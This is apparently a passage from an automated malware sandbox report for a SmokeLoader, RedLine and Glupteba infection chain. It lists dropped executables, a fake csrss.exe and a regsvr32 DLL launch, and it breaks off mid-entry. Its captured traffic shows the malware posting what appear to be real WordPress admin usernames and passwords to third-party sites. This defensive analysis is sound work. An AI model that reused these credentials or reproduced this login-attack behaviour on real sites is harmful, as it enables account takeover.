2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 Data Ascii: } .topPadding { padding-top: 75px; } .footerText { font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #666666; background-position: center;
2023-12-20 02:13:55 UTC	1252	IN	Data Raw: 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 72 54 6f 70 43 6f 72 6e 65 72 2e 67 69 66 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 2e 6c 42 6f 74 43 6f 72 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 69 74 65 73 2f 70 2f 64 38 37 31 31 33 2f 73 79 73 74 65 6d 2f 61 70 70 2f 70 61 67 65 73 2f 6d 65 74 61 2f 64 6f 6d 61 69 Data Ascii: atic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rTopCorner.gif); background-repeat: no-repeat; } .lBotCorner { background-image: url(https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domai
2023-12-20 02:13:55 UTC	1252	IN	Data Raw: 0a 3c 2f 74 72 3e 0a 3c 74 72 3e 0a 3c 74 64 20 77 69 64 74 68 3d 22 31 33 22 20 63 6c 61 73 73 3d 22 6c 65 66 74 53 68 61 64 6f 77 22 3e 3c 69 6d 67 20 73 72 63 3d 22 64 6f 6d 61 69 6e 57 65 6c 63 6f 6d 65 2f 73 2e 67 69 66 22 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 2f 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 6c 61 73 73 3d 22 77 65 6c 63 6f 6d 65 22 3e 57 65 6c 63 6f 6d 65 20 74 6f 3c 62 72 20 2f 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 4e 61 6d 65 22 3e 63 6f 6c 6c 69 6e 73 67 6f 72 64 6f 6e 68 65 6e 72 79 2e 63 6f 6d 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 74 64 3e 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 22 33 22 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 3c 69 Data Ascii: </tr><tr><td width="13" class="leftShadow"><img src="domainWelcome/s.gif" width="1" height="1" /></td><td><p align="center" class="welcome">Welcome to<br /><span class="siteName">collinsgordonhenry.com</span></p></td><td colspan="3" align="right"><i
2023-12-20 02:13:55 UTC	95	IN	Data Raw: 20 63 72 65 61 74 69 6e 67 20 79 6f 75 72 20 68 6f 6d 65 20 70 61 67 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 53 69 74 65 73 3c 2f 61 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: creating your home page with Google Sites</a></td><td></td></tr></table></body></html>
2023-12-20 02:13:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	55202	217.19.254.237	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:55 UTC	407	OUT	POST /wp-login.php HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 Content-Length: 128 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:55 UTC	128	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 64 65 73 66 6f 72 64 6a 31 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=desfordj1&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:56 UTC	402	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/; secure X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:56 GMT Connection: close Content-Length: 9033
2023-12-20 02:13:56 UTC	9033	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TG Can International — WordPress</title><meta name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	56003	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:56 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/wp-login.php Content-Length: 145 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:56 UTC	145	OUT	Data Raw: 6c 6f 67 3d 61 63 74 69 76 65 67 72 61 70 68 69 63 73 26 70 77 64 3d 70 61 73 73 31 32 33 34 25 32 36 25 32 36 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=activegraphics&pwd=pass1234%26%26&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Factivegraphics.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:56 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:56 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:56 UTC	5710	IN	Data Raw: 31 36 34 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 1641<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	56108	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:56 UTC	404	OUT	GET /admin HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=1defdf9a4835566493b8f00f7d3322bf6dc65a2f-1703038421; __cf_bm=TPZ.yFoYMiOUwrWPAVnBvBYXlAVhoKRPi7wj0DXTWeA-1703038421-1-Ac3RFzeLkInDtOmZlMxvng4l7K4FxnvMjwqDEDPU8oYqjzp/wz5nRWBDzaplLA/sG+I/35pd7LSZhGIFiklcN0o= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:56 UTC	749	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:56 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/admin Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sKlJ3g0zyKGfCMkxKnD7l2Z4cnu2Of5Veaq5ctMJaKlodMxP5K5qBPyo%2FKVlPaW0k2MpwwPposAY%2FVKDXvkW02EwFsbrzLjTqI5Is8zXY2df6EZt4yBycVEqVhqFP6ap5F%2FrOi0BN6kRhA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845e722b6a742e-MIA alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	03:11:51
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\3yPvcmrbqS.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\3yPvcmrbqS.exe
Imagebase:	0x400000
File size:	306'176 bytes
MD5 hash:	2A51B5604558E19C4E2E1BE37212624A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.1643511590.0000000002530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:11:57
Start date:	20/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:12:16
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Roaming\uiedafw
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\uiedafw
Imagebase:	0x400000
File size:	306'176 bytes
MD5 hash:	2A51B5604558E19C4E2E1BE37212624A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000003.00000002.1950416948.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1950511447.0000000002569000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000003.1898272817.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:12:26
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\5316.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5316.exe
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.1991930562.0000000002804000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:12:27
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\5316.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5316.exe
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:12:27
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\5828.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5828.exe
Imagebase:	0x30000
File size:	612'926 bytes
MD5 hash:	8A101714BBA78B3C92ADA03B154F84D2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 52%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:12:27
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:12:28
Start date:	20/12/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\5D69.dll
Imagebase:	0x7ff6bd630000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:12:29
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\5D69.dll
Imagebase:	0x770000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:12:33
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\7017.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\7017.exe
Imagebase:	0x7ff7fa700000
File size:	8'885'269 bytes
MD5 hash:	033576B4B54E5CB69EC8491FF6624C9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:12:36
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\7B24.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7B24.exe
Imagebase:	0xeb0000
File size:	3'658'752 bytes
MD5 hash:	FF7E1DEFD1F9959083B9C33F8D8F6C6B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.2378126043.0000000000EB2000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.2386114986.0000000003F64000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 30%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:12:37
Start date:	20/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.2109723566.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 78%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:12:38
Start date:	20/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:12:40
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\8900.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8900.exe
Imagebase:	0x400000
File size:	304'640 bytes
MD5 hash:	3AD72889435079840AE0E810381DDBDB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000003.2153285956.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.2213288455.00000000025B8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.2213042796.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:12:45
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\7017.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\7017.exe
Imagebase:	0x7ff7fa700000
File size:	8'885'269 bytes
MD5 hash:	033576B4B54E5CB69EC8491FF6624C9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	03:12:45
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\A0FE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A0FE.exe
Imagebase:	0x400000
File size:	4'394'872 bytes
MD5 hash:	D477E6905C6A98305C825E88FA656C8A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000012.00000003.2188506230.0000000005632000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000012.00000002.2332380214.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000012.00000002.2341972204.0000000004D43000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000012.00000002.2341972204.0000000004900000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.2341502680.0000000004507000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:12:46
Start date:	20/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.2213503303.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:12:47
Start date:	20/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:12:49
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\B6AA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B6AA.exe
Imagebase:	0x400000
File size:	6'968'258 bytes
MD5 hash:	C2B6C632180189246A69B5CCD44F39BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	03:12:49
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xeb0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:12:50
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp" /SL5="$5046A,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe"
Imagebase:	0x400000
File size:	704'000 bytes
MD5 hash:	DC768C91E97B42F218028EFA028C41CC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	03:12:50
Start date:	20/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:12:52
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\B6AA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A
Imagebase:	0x400000
File size:	6'968'258 bytes
MD5 hash:	C2B6C632180189246A69B5CCD44F39BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:12:53
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp" /SL5="$A0252,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A
Imagebase:	0x400000
File size:	704'000 bytes
MD5 hash:	DC768C91E97B42F218028EFA028C41CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:12:53
Start date:	20/12/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
